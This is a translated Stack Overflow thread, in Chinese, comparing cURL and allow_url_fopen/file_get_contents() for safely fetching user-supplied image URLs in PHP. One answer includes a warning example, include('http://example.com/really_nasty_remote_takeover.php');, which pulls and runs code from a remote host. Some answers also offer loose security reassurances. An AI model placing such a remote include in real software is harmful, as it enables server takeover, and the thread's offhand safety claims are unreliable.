CURL和allow_url_fopen,哪个更安全获取图片?

3
我有一个脚本,用户可以输入另一个网站的图片URL,并使用JS进行裁剪,然后将其保存在我的服务器上。
我的问题是...从另一个服务器获取图像时,使用CURL还是allow_url_fopen(通过file_get_contents())更安全?或者是否有可用的首选/更安全的方法?
安全对我来说是一个大问题,因为我知道这是一个非常危险的过程-如果只需要处理图像文件,则脚本仅需要处理图像文件是否会有所不同。
谢谢
5个回答

4

curl的错误处理比file_get_contents()更好。如果您关心这一点,那么curl可能是更好的选择。但是,如果一个简单的“哎呀,出错了”对您来说已经足够了,那么file_get_contents()也是完全可以接受的快捷方式。


2
首先,如果您想进行深入的安全讨论。如果您不知道自己在做什么,下载文件实际上是一个安全问题。您可以覆盖重要文件,甚至在某些情况下覆盖系统文件。上传脚本等到服务器上,并打算通过Web服务器执行它们也是一个问题。
所以这并不像人们指出的那样美好。
回到您的问题,allow_url_fopen是一个配置指令。我想您的意思是file_get_contents()。两者都可以。正如其他人指出的,Curl更加详细,而且速度更快。
如果您最终使用file_get_contents(),请确保永远不要将未经过滤的变量包含为参数。

0

cURL有更多的选项和可能性。

两者同样安全(如果误用则不安全)。

使用cURL更明智,因为您将提高经验,使用更强大的功能,这可能在未来的项目中为您服务。

此外,如果此项目以后需要新的功能,如果file_get_contents不足,则无需使用cURL重新编写所有内容。

此线程的答案显示了一个很好的cURL函数:用cURL替换file_get_content()?


0

下载文件并不是一个安全问题,无论是你的服务器还是你自己的电脑,或者你用来下载它的应用程序/代码 :) 重要的是你是否执行了这个文件 :D

你所要做的就是确保你不会执行/包含文件中的任何内容。既然你只是要裁剪图片,我认为你可以放心使用 :)

我建议使用cURL,因为allow_url_fopen可能会在代码的其他地方引起安全问题。


-2

通常情况下,使用curl会更安全。如果您允许curl的结果直接影响程序,则需要明确的设计/编码决策,而允许在f*()函数中使用URL则不需要。

include('http://example.com/really_nasty_remote_takeover.php');

出现无错误。


2
include()是由更严格的allow_url_include控制,而不是allow_url_fopen。使用file_get_contents()是无害的。 - user149341

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接